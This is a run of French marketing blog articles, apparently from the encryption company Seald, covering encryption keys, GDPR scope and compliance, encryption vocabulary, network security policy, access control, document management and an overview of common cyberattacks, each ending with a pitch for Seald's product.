Plus généralement, maintenant qu’on a défini ce qu’était une clé de chiffrement, il est temps de se pencher un peu plus sur les types de clés existantes et leur utilisation.

Clé de chiffrement symétrique et asymétrique

Il existe deux principaux types de clé de chiffrement. Une clé peut être symétrique ou asymétrique. En réalité, il s’agit là encore d’un abus de langage, puisque c’est plutôt le chiffrement lui-même qui est symétrique ou asymétrique, mais le terme est très utilisé.

Concrètement, quelles sont les différences ? Plaçons-nous dans le cas du chiffrement d’un email. L’utilisation d’une clé de chiffrement symétrique suppose que la même clé serve au chiffrement et au déchiffrement du message. La clé symétrique est secrète et possédée par l’expéditeur et le destinataire du message.

La clé asymétrique est un peu plus complexe. Il repose sur l’existence de deux jeux de clé. Une clé de chiffrement peut en effet être publique ou privée (secrète). Une clé privée est unique, elle doit rester privée. C’est elle et elle seule qui est utilisée dans le cadre du chiffrement symétrique par exemple. Une clé publique est, comme son nom l’indique, accessible à tout le monde : elle peut le plus souvent être récupérée auprès d’un tiers de confiance appelé CA ou Certificate Authority.
Le principe est que les clés publiques et privées sont compatibles : ce qui est chiffré avec une clé publique ne peut être déchiffré que par la clé privée correspondante et vice-versa.

Nous ne détaillerons pas ici le principe du chiffrement asymétrique. Il peut notamment être utilisé dans le chiffrement des emails. Il est utilisé par les principaux acteurs du secteur, comme Seald ou comme le protocole PGP.

Le problème du transfert de clé de chiffrement : la solution Seald !

Naturellement, l’enjeu est de protéger cette clé et donc de la chiffrer aussi… ! Les protocoles classiques de chiffrement d’email, comme PGP dont on a déjà parlé ou comme S/MIME, ont fait un choix : la clé de chiffrement symétrique est transmise dans l’email lui-même. Concrètement, la clé est chiffrée (donc protégée) à l’aide de la clé publique du destinataire. Celle-ci est publique, donc il n’est pas nécessaire de la transmettre, l’expéditeur peut la récupérer facilement. Le destinataire va pouvoir déchiffrer la clé à l’aide de sa clé privée. Il obtient donc une clé symétrique, qu’il va pouvoir utiliser pour déchiffrer le message lui-même.

Cette technique est relativement efficace parce que tout se trouve au même endroit : message et clé. Elle pose également plusieurs problèmes : risque de sécurité si un tiers met la main sur la clé privée ; lourdeur de traitement puisqu’il faut chiffrer la clé avec la clé publique du destinataire. Autrement dit, à chaque destinataire une clé chiffrée différente, ce qui peut vite devenir complexe… d’autant que chaque appareil du destinataire possède en général un couple clé publique/clé privée différent.

C’est pourquoi cette solution est peu satisfaisante. Seald a fait un choix différent ! La clé privée est stockée sur le serveur sécurisé de Seald. Bien entendu, Seald n’a pas accès aux clés privées de ses utilisateurs, il les détient  seulement. Ainsi le destinataire peut les récupérer via une requête authentifiée sur les serveurs Seald.

Cela présente de nombreux avantages : simplicité, possibilité d’ajouter ou de révoquer des destinataires même après l’envoi du message, tracking des ouvertures et tentatives d’ouverture… et pleins d’autres choses encore !

La solution Seald est conçue pour sa simplicité d’utilisation, sa fluidité et surtout une sécurité poussée à son maximum.

Essayez Seald avec vos équipes !

Better Seald than sorry.

Qui est concerné par le RGPD ? Vous êtes dirigeant d’entreprise, de TPE ou de PME, consultant ou juriste d’entreprise, et vous vous demandez si le RGPD concerne votre structure ? Nous vous éclairons sur les différents critères d’application du RGPD, en fonction des types d’entreprises visées, de l’activité de l’entreprise, mais aussi les subtilités de “niveau d’exposition” au RGPD. Comprendre ce qui vous concerne précisément est la première étape pour vous mettre en conformité avec le RGPD.

Qui est concerné ? Les entreprises visées par le RGPD

Le RGPD précise son champ d’application et donc les entreprises qui sont concernées par le règlement. Le premier critère d’application est celui de la nature de l’entreprise, indépendamment de l’activité de celle-ci. Vous allez le voir, ce critère est extrêmement large, et de nombreuses entreprises européennes sont donc susceptibles de recevoir des sanctions en raison du RGPD.

Les organisations européennes

Le premier type d’entreprises concernées par le RGPD comprend les entreprises européennes, c’est-à-dire celles qui sont établies sur le territoire. Le critère d’établissement ne revient pas exactement à parler de l’adresse du siège social. Sans trop entrer dans le détail des subtilités juridiques, il s’agit de l’existence d’un établissement stable et permanent.

Les organisations qui ciblent des résidents européens

Encore plus large, le deuxième critère pouvant faire entrer une organisation dans le spectre du RGPD est le fait de cibler des résidents européens. Autrement dit, dès que vos clients ou utilisateurs sont européens, vous êtes dans le champ d’application du RGPD. D’où la décision d’un certain nombre d’acteurs numériques américains qui ont décidé en 2018 de fermer leur activité en Europe pour éviter de se plier au RGPD, par exemple.

Vous le voyez, le RGPD ne concerne par un type d’entreprise particulier, ni une taille de structure, ni un secteur d’activité défini. Notamment, il est important de préciser qu’il n’est pas nécessaire d’avoir le statut d’entreprise commercial pour être concerné par le RGPD. Ainsi, le RGPD concerne les associations, les entreprises publiques, etc.

Qui est concerné ? Le critère du traitement des données

Le deuxième grand critère est celui du traitement des données par l’entreprise ou organisation visée par le RGPD. Sans revenir sur une définition du traitement des données au sens du RGPD, précisons que cette activité de traitement renvoie par exemple à la collecte, au stockage ou encore à l’utilisation des données, par exemple pour construire des segments marketing.

De même, la notion de données personnelles est précisément définie par le RGPD. Il peut s’agir de données sur vos salariés, ou encore d’informations sur vos utilisateurs qui peuvent permettre, y compris en les associant entre eux, d’identifier une personne. Par exemple, on retrouve dans cette catégorie les pseudos, une adresse email, un numéro de téléphone, des informations sur les habitudes de consommation, particularités physiques…

Vous le voyez, le RGPD déploie un champ d’application extrêmement large. Premièrement, toutes les tailles d’entreprises sont concernées. Ainsi, une PME doit être en conformité avec le RGPD. Il n’y a pas non plus de limitation dans le secteur d’activité de l’entreprise. Enfin, vous remarquez que la notion de traitement des données est extrêmement large et renvoie à des réalités très diverses.

Il faut enfin préciser que cette notion de traitement ne concerne pas seulement une utilisation des données en interne. Ainsi, si vous effectuez une opération de traitement des données pour le compte d’un tiers, vous entrez dans le champ du RGPD. C’est le cas des sous-traitants visés par le RGPD et sur lesquels pèsent des obligations particulières. Réciproquement, l’entreprise donneuse d’ordres doit également suivre certaines bonnes pratiques lorsqu’elle recourt aux services d’un sous-traitant.

Les différents niveaux d’exposition au RGPD

Si un très grand nombre d’entreprises européennes et mondiales sont concernées par le RGPD, toutes n’ont pas le même “niveau d’exposition” au règlement. En pratique, certaines activités ou cas exigent une attention particulière.

De rares exceptions

D’abord, certaines rares activités sont exclues du champ d’application du RGPD. C’est le cas :

● des activités privées (les personnes physiques agissant dans le cadre de leur vie privée n’ont pas à être en conformité avec le RGPD) ;

● des activités visant à protéger les droits fondamentaux ;

● de certaines activités mises en place pour prévenir des infractions pénales.

Un DPO, pour qui ?

Outre ces cas très spécifiques, d’autres cas sont à mettre en lumière. D’une part, certaines entreprises doivent nommer un DPO, responsable RGPD au sein de l’entreprise. C’est le cas si elles sont des personnes publiques, si elles traitent des données sensibles au sens du RGPD ou bien si elles opèrent un traitement des données à grande échelle.

Le traitement des données sensibles

Le RGPD définit les données sensibles comme celles concernant par exemple l’état de santé, les origines ethniques, les préférences sexuelles, ou encore l’appartenance religieuse, syndicale, des utilisateurs. En cas de traitement de ce type de données, les entreprises doivent mettre en place des niveaux de sécurité supplémentaires, et conduire une “analyse d’impact” sur le traitement des données et leur protection.

Le registre des activités de traitement

Les entreprises concernées par le RGPD doivent, en principe, tenir un registre des activités de traitement précisant plusieurs éléments sur les données : qui y a accès, comment elles sont utilisées, comment elles sont protégées, etc.

Les entreprises de moins de 250 salariés sont exonérés de la tenue d’un tel registre d’activité.

Vous l’avez compris, le RGPD concerne de très nombreuses organisations et entreprises. Heureusement, la CNIL, gendarme du RGPD, peut vous accompagner et vous informer dans vos efforts de mise en conformité. Enfin, gardez à l’esprit que des outils de sécurisation des données comme Seald peuvent vous aider à protéger les données personnelles traitées par votre entreprise !

Better Seald than sorry.

Testez Seald avec votre équipe !

Vous le savez peut-être déjà, le terme approprié est celui de chiffrement des données, emails ou fichiers. Pourquoi ne peut-on pas crypter un fichier ? Quelles sont les définitions des termes utilisés dans le domaine : clé de chiffrement, cryptographie, PGP, S/MIME, CASB… De nombreux sigles et acronymes sont utilisés, l’occasion de clarifier ce champ sémantique qui peut rebuter certains.

Crypter et chiffrer un fichier, définitions

Cryptographie

Commençons par le terme le plus générique de notre liste. La cryptographie désigne la discipline qui consiste à « crypter » les fichiers c’est-à-dire à sécuriser les serveurs et données (aujourd’hui), mais historiquement les messages. Le plus souvent, la cryptographie fait appel à différents codes, secrets ou clés de chiffrement.

Chiffrement des données

Le chiffrement des données consiste en l’utilisation d’une technique de cryptographie pour rendre un message clair illisible à l’aide d’une clé de chiffrement. Le principe fondamental est que cette clé doit être connue par le destinataire pour permettre le déchiffrement du message. En réalité, le processus est souvent plus complexe. Par exemple, le logiciel PGP de cryptographie permet de chiffrer et de déchiffrer des messages et des emails. Il utilise en réalité deux clés, une clé dite publique et une clé dite privée, chaque utilisateur ayant son propre « jeu » de clés.

Clé de chiffrement

La clé de chiffrement est le cœur du processus de chiffrement des données. Elle permet justement de chiffrer un fichier ou de le déchiffrer dans le sens inverse. Il existe plusieurs types de clé, et chaque appareil ou chaque utilisateur dispose en général de sa propre clé. L’enjeu devient alors souvent de gérer de multiples clés de chiffrement, ainsi que les révocations ou autorisations de nouveaux utilisateurs après l’envoi du message ou l’upload du fichier sur un cloud.

S/MIME

S/MIME est un protocole de chiffrement utilisé dans le chiffrement des emails et la vérification de l’identité de l’expéditeur. La particularité de S/MIME est qu’il s’appuie sur un tiers de confiance pour vérifier l’utilisation des clés de chiffrement publiques utilisées. Concrètement, la clé publique de l’expéditeur est signée et « encapsulée » dans un certificat généré par une autorité de certification, qui est donc un tiers envers lequel l’utilisateur doit avoir confiance.

CASB

Un CASB (ou Cloud Application Security Broker), a pour fonction de protéger les utilisateurs (notamment au sein des entreprises) lors de l’utilisation d’applications en Cloud. Le problème est que les membres d’un réseau professionnel utilisent de (trop) nombreuses applications en Cloud, ce qui peut générer des failles de sécurité. Un CASB se propose d’agir comme un proxy intermédiaire entre les applications en Cloud et le réseau de l’entreprise, en chiffrant et déchiffrant les données à chaque utilisation, pour permettre une certaine étanchéité entre les services en Cloud et l’entreprise.

Pourquoi ne peut-on pas crypter un fichier ?

Une fois toutes ces définitions données, pourquoi ne peut-on pas crypter un fichier ou décrypter un email ? Effectivement, ces expressions sont souvent utilisées notamment parce qu’il s’agit en fait d’un anglicisme trompeur : le terme anglais d’encryption est, lui, bien valide.

En français, crypter un fichier est un terme impropre parce qu’il ne renvoie pas à la notion de clé de chiffrement. Concrètement, crypter un fichier est possible : cela signifie chiffrer un document sans connaître la clé de chiffrement. En d’autres termes, vous remplacerez le message par un document crypté, mais sans pouvoir le décoder par la suite. Crypter un fichier n’est donc pas strictement impossible, mais simplement incohérent.

Dans ce cas, peut-on décrypter un fichier ? Cette notion est déjà plus correcte, mais renvoie à une situation bien particulière. Comme pour crypter un fichier, le décrypter suppose qu’on ne connaît pas la clé de chiffrement utilisée. Il est en théorie possible de décrypter un message codé, par exemple. Bien entendu, aujourd’hui, les clés de chiffrement utilisées permettent d'avoir des solutions possibles virtuellement infinies, ce qui rend de plus en plus difficile de décrypter les fichiers, pour renforcer toujours la sécurité des procédés de chiffrement.

Crypter un fichier est donc un terme impropre, contrairement au chiffrement des fichiers, données et au chiffrement du cloud par exemple. Maintenant que ce point de vocabulaire est acquis, vous pourrez en apprendre plus sur les solutions de chiffrement.

Demander une démo Seald

Better Seald than sorry.

De nombreuses sociétés, notamment des TPE et PME, continuent cependant d’adopter un comportement passif face aux risques informatiques. Dans des structures ne disposant pas forcément des moyens financiers et surtout humains adéquats pour prendre en charge ces enjeux, il est compréhensible que certaines fonctions pourtant essentielles soient mal perçues. Heureusement, des solutions de sécurisation des données sont apparues pour aider les dirigeants, y compris non-professionnels de l’informatique, à gérer sereinement ces questions.

En 10 points fondamentaux, voici comment construire une politique de sécurité réseau pour les entreprises.

La sécurité réseau par la centralisation

La sécurité du réseau implique tout d’abord de minimiser les zones de risque. Une bonne pratique est donc de centraliser au maximum les informations et données sensibles.

Stockage

La question du stockage des données et des documents est donc centrale. Il s’agit dans un premier temps de conduire un audit permettant de faire l’inventaire de l’ensemble des documents et données confidentielles à protéger présentes dans la société.

La deuxième phase consiste à numériser et stocker ces données dans un seul et même espace numérique pour faciliter sa protection. Ces objectifs se couplent avec d’autres avantages, notamment en termes de fluidité et d’accès à la donnée, apportés par la Gestion Électronique des Documents.

Chiffrement de données

Le stockage seul ne peut évidemment pas résoudre la question de la sécurité du réseau. Encore faut-il en effet assurer la sécurité des données ainsi conservées. Une politique de chiffrement des données ainsi stockées doit donc être mise en place.

En pratique, il s’agit d’une part de procéder au chiffrement des données en tant que tel, et d’autre part de gérer efficacement et de façon fluide la génération et la distribution des clés de chiffrement permettant aux équipes concernées d’accéder à la donnée protégée.

L’objectif est donc double : d’une part, limiter l’accès à la donnée au sein de l’entreprise pour éviter les failles de sécurité, et d’autre part protéger l’information d’une action malveillante en cas de vol de données.

Contrôle d'accès

Cette étape fonctionne en tandem avec la précédente. Le contrôle d’accès aux données doit permettre la gestion des clés de chiffrement. Il est conseillé en effet de limiter au maximum les personnes qui ont accès à la donnée, en établissant d’une part des niveaux de sensibilité des données et d’autre part la cartographie des salariés ayant besoin d’accéder à telle ou telle information.

Sauvegardes données

Enfin, il est nécessaire de pouvoir assurer la récupération des données, notamment en cas d’attaque. Le cas emblématique rendant cette démarche utile est celle du ransomware. Dans ce cas, une sauvegarde des données stockées et chiffrées séparément permettra à l’entreprise de continuer à fonctionner même après une cyberattaque.

Sécuriser chaque composante du réseau

Firewall

Assurer la sécurité de l’ensemble du réseau implique notamment de contrôler les accès internet des différents postes, y compris pour les invités au réseau Wi-Fi. La mise en place de pare-feux, la limitation de certains sites ou connexions reconnues comme suspectes et l’interdiction de téléchargements illégaux limitent les risques liés aux connexions internet sur le réseau professionnel.

Antivirus

De la même manière, chaque poste utilisateur peut être une cible potentielle et mettre en péril la sécurité de l’ensemble du réseau. La mise en place d’anti-virus et anti-malwares efficaces est donc nécessaire à la lutte contre les cybermenaces.

Mise à jour

Un des enjeux majeurs de la cybersécurité est l’évolution des pratiques des cybercriminels. En conséquence, les solutions et les logiciels utilisés évoluent constamment pour faire face aux nouvelles menaces. D’où la nécessité de veiller à la mise à jour constante des logiciels sur tous les postes du parc informatique.

Protection des échanges

Enfin, la protection de chacune des composantes du réseau passe par la sécurisation des échanges. Des solutions de chiffrement d’emails peuvent être adoptées, non seulement pour les échanges internes à l’entreprise, mais également et surtout pour les communications externes. Cette pratique permet notamment de protéger les données utilisateurs qui peuvent être transmises par les clients ou partenaires de l’entreprise.

Déployer la sécurité réseau dans toutes les équipes

Sensibilisation

C’est le socle de la politique de sécurité réseau. Celle-ci ne peut se faire efficacement si tous les membres de l’entreprise ne sont pas impliqués ou au moins sensibilisés à la cybersécurité. Selon IBM, 60% des cyberattaques sont menées par des initiés, c’est-à-dire des personnes ayant un accès autorisé au réseau. Souvent, ces attaques sont menées à leur insu, parce qu’elles n’ont pas respecté les normes de sécurité ou par négligence. Le risque de fuite de données est majeur et ne peut être résolu sans passer par une information et une sensibilisation des équipes.

Mots de passe complexes, authentification

Une des pratiques à mettre en place pour et par les équipes est l’emploi de mots de passe complexes et renouvelés régulièrement. Cette pratique peut sembler anodine, mais elle participe de l’hygiène informatique de l’entreprise et est souvent négligée par les employés non sensibilisés.

Par ailleurs, d’autres modes d’authentification plus complexes peuvent être mis en place pour protéger l’accès aux données.

Mettre en place une politique de sécurité réseau est donc un chantier important et qui peut s’étendre sur plusieurs mois en fonction de la taille et de la complexité de la structure. Heureusement, des outils comme Seald permettent de sécuriser les données et les échanges facilement tout en préservant la fluidité d’action des équipes opérationnelles.

N’hésitez pas à contacter nos équipes pour plus d’informations.

Better Seald than sorry.

Demander une démo de Seald !

Chaque département de l’entreprise collecte, génère, stocke et utilise une quantité importante d’informations confidentielles et de données. Assurer la sécurité de ces données est essentiel, soit parce qu’elles sont sensibles et doivent intrinsèquement être protégées (c’est le cas par exemple des données utilisateurs), soit parce qu’elles contiennent des informations stratégiques ou confidentielles qui doivent rester internes à l’entreprise.

Dans ce cadre, la mise en place d’une politique efficace de contrôle d’accès à la donnée est nécessaire. Qu’est-ce que le contrôle d’accès ? Comment le mettre en place ? Quelles sont les premières étapes concrètes d’une politique de contrôle d’accès efficace ?

Cette politique, qui fonctionne généralement en lien avec le chiffrement des fichiers et des échanges internes et externes à l’entreprise, est un enjeu de plus en plus important pour les sociétés qui en font un axe stratégique fondamental.

Qu’est-ce que le contrôle d’accès à la donnée ?

Au sens large, le contrôle d’accès peut regrouper deux champs d’action distincts : le contrôle d’accès physique, avec la gestion et la limitation des accès dans les locaux ou dans une partie des locaux d’une entreprise, et le contrôle d’accès logique, sur lequel nous nous concentrerons ici. Il s’agit de la gestion et de la gouvernance des accès numériques à la donnée.

Le plus souvent, une politique d’accès à la donnée se fond avec un effort connexe sur la gestion électronique des documents, c’est-à-dire le stockage, la conservation, la recherche et l’utilisation des fichiers dans un espace numérique protégé.

Concrètement, le contrôle d’accès vise à définir des rôles et des privilèges permettant de limiter, justement, l’accès à la donnée. Le terme d’accès renvoie aux actions de consultation, modification, utilisation ou création de documents et de fichiers dans un système donné. Il s’agit en pratique de définir qui peut ou non accéder à telle ou telle donnée.

Le contrôle d’accès à la donnée a deux vertus :

• Il permet de protéger les fichiers de toute tentative d’intrusion en provenance de l’extérieur de l’entreprise, puisque seules les personnes autorisées peuvent accéder aux informations ;
• Il permet de limiter les personnels ayant accès aux informations en fonction de différents critères, ce qui permet de réduire d’autant les risques de malveillance ou de failles de sécurité.

Ces deux vertus participent de la mise en place d’une politique plus générale de sécurité des données.

Comment mettre en place une politique de contrôle d’accès à la donnée ?

Implémenter le contrôle d’accès aux données dans l’entreprise suppose de réaliser plusieurs travaux. Le premier d’entre eux consiste en la conduite d’un audit visant à construire un mapping des données générées, collectées et conservées par l’entreprise. En miroir, il s’agit également de déterminer qui, au sein de l’entreprise, utilise quelle donnée et donc qui doit avoir accès à quoi.

Ensuite, il est naturellement nécessaire d’organiser le stockage de la donnée dans un réseau sécurisé. C’est à cette étape que des solutions de chiffrement de données, comme Seald, peuvent être implémentées. Cette étape est cruciale, pour une raison simple : vous êtes en train d’installer des portes sécurisées autour de vos données, il faut donc aussi entourer ce coffre-fort de murs solides pour éviter tout risque de vol de données !

Ensuite seulement peut venir l’étape de création des protocoles de contrôle des données à proprement parler, au moyen de technologies dites d’IAM (Identity and Access Management). Ces technologies permettent d’identifier et d’authentifier un utilisateur, et de lui ouvrir ou non l’accès à la donnée. En pratique, il faudra utiliser les informations collectées à la première étape, celle des audits, pour autoriser aux bonnes personnes l’accès aux données.

Plusieurs critères peuvent être retenus : fonctions, niveau de responsabilité, etc. Ce recours aux technologies IAM est au cœur du dispositif. Il permet également d’enregistrer et de mesurer les demandes d’accès aux données, autorisées ou non. Ce monitoring est utile pour percevoir les tentatives de vol de données qui passent sinon souvent inaperçues.

Enfin, pour que cette politique soit efficacement déployée dans l’entreprise, il faut sensibiliser ses membres à ces protocoles de contrôle. Les équipes vont avoir à intégrer ce contrôle dans leurs habitudes quotidiennes, car c’est bien lui qui pourra éviter les fuites de données qu’elles risquent volontairement ou non de générer.

Comment réagir en cas de menaces ou de failles de sécurité ?

Le contrôle d’accès à la donnée a, on l’a vu, pour but principal de lutter contre les cyberattaques. Il permet de les repérer et de les bloquer par l’usage du chiffrement et du contrôle. La cybersécurité passe, au-delà de la mise en place de ces protocoles, par une « hygiène » informatique sur la durée.

Il s’agit notamment d’éviter de considérer l’audit préalable qui a été effectué comme une donnée statique, mais au contraire de le mettre constamment à jour.

Les usages qui peuvent être faits des données vont probablement évoluer dans la vie de l’entreprise, tandis que de nouvelles informations peuvent apparaître. Surtout, les personnes ayant accès à la donnée vont changer, soit qu’elles quittent la société, soit qu’elles changent de position au sein d’un même département ou non.

Dans ce cas, la révocation des droits d’accès est primordiale pour limiter au maximum l’accès à la donnée et éviter la détérioration du système de sécurité au cours du temps.

De manière générale, les solutions technologiques à utiliser sont en constante évolution à mesure que les cybermenaces changent.

Better Seald than sorry.

Demandez une démo de Seald !

L’enjeu est de taille pour les entreprises, administrations ou autres structures qui recourent à cette technique puisqu’il s’agit de mieux maîtriser un flux de données et de fichiers qui peut rapidement devenir massif.

Par ailleurs, la Gestion Électronique des Documents participe de la politique de cybersécurité des entreprises : la GED peut se marier avec des solutions de protection des données et des fichiers ainsi numérisés et stockés. Qu’est-ce que la Gestion Électronique des Documents ? Comment fonctionne-t-elle ? Quelles solutions de protection des données adopter pour assurer la sécurité des documents stockés ?

Qu’est-ce que la GED, Gestion Électronique des Documents ?

La Gestion Electronique des Documents regroupe plusieurs techniques et méthodes permettant d’effectuer diverses opérations sur les documents traités ou créés par la structure. La première étape est la numérisation massive de tous les documents papiers qui peuvent être produits ou stockés par l’entreprise. Diverses techniques peuvent être employées à cette étape : numérisation, capture… Ces documents sont ensuite archivés et stockés numériquement, dans un réseau sécurisé.

Enfin, la Gestion Électronique des Documents permet le classement et l’archivage des documents numérisés. Pour simplifier, l’idée est d’extraire les éléments contenus dans les documents pour permettre leur classification et leur réutilisation ultérieure. La GED intervient donc au moment de la création du document, avec sa numérisation, puis de son stockage, avec des outils de validation, d’indexation, mais aussi de classement. Enfin, on retrouve la GED à la phase ultérieure de recherche et d’utilisation des documents, avec la diffusion et le contrôle d’accès aux documents, la construction d’un moteur de recherches interne et le mapping des ressources documentaires.

À quoi sert la Gestion Électronique des Documents ?

Ces techniques visent donc à remplir plusieurs objectifs. D’abord, le stockage et la conservation des documents et données collectées par l’entreprise. En regroupant l’ensemble des documents, il s’agit de faciliter leur sauvegarde tout en évitant les fuites de données éventuelles.

Un autre objectif de la GED est de faire gagner du temps à l’entreprise dans l’utilisation des documents. La classification des documents permet en effet une recherche plus facile et rapide pour pouvoir récupérer et utiliser les informations ultérieurement. Ensuite, la GED permet de contrôler l’accès à la donnée. L’espace numérique de stockage peut être protégé pour limiter l’accès à tout ou partie de la donnée conservée. Cette fonction rejoint le dernier objectif de la Gestion Électronique des Documents qui est la mise en place d’une politique de cybersécurité et de lutte contre les cybermenaces.

Gestion Électronique des Documents et sécurité des données

La Gestion Électronique des Documents va de paire avec la cybersécurité. Si les deux notions ne sont pas forcément liées, la mise en place d’une politique de GED permet d’implémenter des solutions visant à assurer la sécurité des données conservées par l’entreprise.

En effet, la numérisation et le stockage des documents dans un espace dédié est l’occasion d’adopter certaines bonnes pratiques. Parmi elles, le chiffrement des fichiers est un élément fondamental. Il permet non seulement la mise en place d’un contrôle et d’un tracking de l’accès aux données grâce à l’attribution des clés de chiffrement, mais aussi la protection du contenu des données chiffrées en cas de vol de données, par exemple.

GED : Comment maintenir la fluidité dans l’activité ?

Un des enjeux majeurs de la Gestion Électronique des Documents est de préserver la fluidité et la souplesse dans l’activité de l’entreprise ou de la structure. La mise en place d’une politique de GED implique effectivement des changements assez importants dans les habitudes de l’entreprise et la période de transition peut soulever des difficultés. D’où la nécessité d’accompagner toutes les équipes dans cette transformation numérique.

Pourtant, la GED a justement pour objectif de faciliter la recherche documentaire interne et l’emploi des informations stockées. De plus, des solutions simples d’utilisation existent pour faciliter le stockage et la sécurisation des données. Concrètement, le chiffrement des fichiers peut être largement automatisé pour permettre une utilisation extrêmement lisible et simple à la fois pour les équipes et pour les RSSI. Il est donc parfaitement possible, en choisissant les bons outils, de coupler GED, lutte contre les cyberattaques, et efficacité dans l’action.

Better Seald than sorry.

Demandez une démo de Seald !

Quelles sont ces cyberattaques qui peuvent viser votre société et vos systèmes ? Comment protéger vos données ? Comment réagir ?

Nous vous livrons les clés pour bien anticiper ces phénomènes avant qu’ils ne surviennent. Il est essentiel d’assurer votre protection en amont, mais également d’être capable de bien réagir en cas d’attaque subie par vos systèmes.

Quelles cyberattaques peuvent menacer ma société ?

Le terme cyberattaque recouvre des réalités très diverses et les différentes menaces qui peuvent peser sur votre société peuvent être très variées. Il n’est pas possible de recenser l’intégralité des attaques qui peuvent vous viser. Néanmoins, voici les principaux types de cybermenaces  qui peuvent mettre en péril l’intégrité de vos systèmes.

Virus, programmes espions, programmes pirates

Ces programmes sont installés sur un des ordinateurs ou des composantes de votre système d’informations. Le but de ces programmes peut être varié, mais il s’agit le plus souvent de récolter des informations sur les utilisateurs, clients ou salariés de l’entreprise. Il peut également s’agir de récupérer de la donnée PI, sur une innovation brevetée ou non de votre société.

Phishing

Les cyberattaques ayant recours au phishing sont très connues, mais peuvent malheureusement demeurer très efficaces. Le plus souvent, elles reposent sur une erreur humaine en envoyant un message à un des collaborateurs de la société en se faisant passer pour un tiers de confiance (autre salarié, banque, outil ou service utilisé fréquemment…). En réalité, le but est alors d’opérer un vol de données qui permettra éventuellement aux attaquants de pouvoir par la suite usurper l’identité du collaborateur ciblé pour s’introduire dans le réseau et récupérer d’autres informations critiques.

DoS (Denial of Service)

Une cyberattaque de type DoS consiste à envoyer des millions de requêtes sur un serveur donné pour le submerger et le neutraliser. Concrètement, les attaquants utilisent généralement des logiciels “zombie” placés sur les ordinateurs de tiers qui vont servir, à l’insu des personnes utilisées pour conduire l’attaque, à envoyer les requêtes. Le but de l’opération n’est pas de récupérer des informations ou des données, mais plus simplement de bloquer un site ou un service pour le rendre inopérant le temps que l’attaque soit neutralisée.

Ransomware

Là encore, cette cyberattaque peut entraîner une fuite de données. L'idée est de demander une rançon contre des données appartenant à une société. Deux cas de figure sont possibles. Dans le premier, l'attaquant demande une rançon contre laquelle il rendra au propriétaire l'accès à la donnée volée. En pratique, il aura chiffré cette donnée pour la rendre inaccessible à son propriétaire, et échange donc une rançon contre la clé de chiffrement permettant de lire à nouveau le contenu. L'autre cas de figure consiste à menacer de diffuser une donnée compromettante et de promettre de ne pas le faire en échange d'une rançon.

Il existe bien évidemment d’autres types de menaces et les évolutions du secteur sont constantes. Cependant, ces attaques sont parmi les plus fréquentes. Désormais, comment lutter contre ces cyberattaques ?

Comment lutter contre les cyberattaques ?

Les cyberattaques ne peuvent être totalement évitées, et le risque zéro n’existe pas. Les techniques des cybercriminels évoluent constamment. On peut tout de même mettre en lumière deux grands chantiers à mettre en place pour assurer une meilleure sécurité de votre réseau.

Limiter au maximum les erreurs humaines

Un grand nombre de cyberattaques reposent en réalité sur une erreur humaine. Concrètement, il s’agit d’un collaborateur qui utilise son ordinateur professionnel pour télécharger un logiciel ou un fichier qui s’avère malveillant, ou bien qui répond à un mail de phishing et met sans le vouloir en péril toute la sécurité des données de l’entreprise.

Pour éviter ce genre de scénario, la meilleure solution reste la sensibilisation des employés. Un des rôles du RSSI est de former les collaborateurs qui ne sont pas forcément sensibilisés à ces questions de cybersécurité pour éviter des erreurs humaines. Bien compartimenter les activités, c’est-à-dire n’utiliser les ressources professionnelles que pour utiliser des outils approuvés et vérifiés, ou encore toujours vérifier l’expéditeur des emails reçus font partie des bonnes pratiques à adopter à tous les échelons de la société.

Des solutions de sécurité pour vous aider

Des solutions techniques peuvent vous aider à vous protéger contre les cyberattaques. Concrètement, ces solutions, comme Seald, offrent un certain nombre de services qui assurent la sécurité de vos données. Il peut s’agir notamment de vous assister dans votre gestion électronique des documents. Ce volet désigne le stockage, la protection et la gestion des accès aux données de l’entreprise.

Concrètement, adopter des pratiques de chiffrement systématique des données de l’entreprise peut éviter de les rendre utilisables en cas de fuite de données. Les fichiers ainsi chiffrés ne sont lisibles que pour un utilisateur autorisé et en possession de la clé de chiffrement adaptée. Ainsi, en cas de fuite ou de vol de données, vos documents restent inutilisables par le cyberattaquant.

Une facette complémentaire de ce chiffrement est le contrôle d’accès aux données. Vous pouvez déterminer qui dans l’entreprise à accès à quelles informations en gérant le partage des clés de chiffrement. Ainsi, vous limitez la circulation des données dans l’entreprise et donc le risque de fuite. Vous évitez aussi l’accès à ces données par un tiers non autorisé et potentiellement malveillant.

Si le risque zéro n’existe pas quand il s’agit de cyberattaques, de bonnes pratiques de sécurité et “d’hygiène” informatique peuvent être adoptées par tous les membres de l’entreprise. Des outils comme Seald peuvent vous y aider et renforcer la sécurité de vos réseaux.

Better Seald than Sorry.

Demandez une démo de Seald !

Concrètement, il peut être difficile de comprendre qui est concerné par ce règlement, quelles sont les obligations et sanctions réelles et comment être en conformité avec le RGPD. C’est d’autant plus le cas qu'il concerne un grand nombre d’entreprises dans tous les secteurs, et donc vise des professionnels qui ne sont pas forcément habitués aux secteurs de la donnée et du droit. Pour vous aider à choisir les meilleures solutions pour vous mettre en conformité, nous avons créé ce guide pour tout comprendre sur le RGPD en 3 minutes et l’appliquer facilement au sein de votre société.

RGPD pour les nuls : de quoi parle-t-on ?

On l’a dit, le RGPD est le règlement européen qui vise à garantir la protection des données personnelles des citoyens de l’Union. Concrètement, il faut faire un détour rapide par la théorie pour bien comprendre de quoi on parle.

Le traitement des données, c’est quoi ?

Au sens du Règlement, la donnée personnelle porte sur une « personne physique identifiée ou identifiable ». Plus clairement, une personne est identifiable si elle peut être associée à une identité, par un nom, un pseudo, un numéro, etc.. ou par un ou plusieurs éléments sur son identité psychique, physique, psychologique… La notion de donnée personnelle est donc très large.

Plus précisément, le terme de traitement des données est défini par le RGPD comme recouvrant une série très variée d’opérations qui peuvent être effectuées sur la donnée, notamment la collecte, l’utilisation, l’organisation (statistique, par exemple) ou la communication de ces données à un tiers.

Enfin, il est nécessaire de s’intéresser à une dernière notion, qui est celle de responsable du traitement. Celui-ci est celui qui décide des moyens ou des finalités du traitement de la donnée. Ainsi, même si une société ne traite pas directement la donnée, par exemple parce qu’elle fait appel à un prestataire extérieur pour analyser ses informations clients, elle peut être considérée comme responsable du traitement. Le prestataire sera considéré comme sous-traitant soumis au RGPD d’une façon particulière.

Le RGPD vise donc un grand nombre d’activités et donc, de personnes.

RGPD pour les nuls : qui est impliqué ?

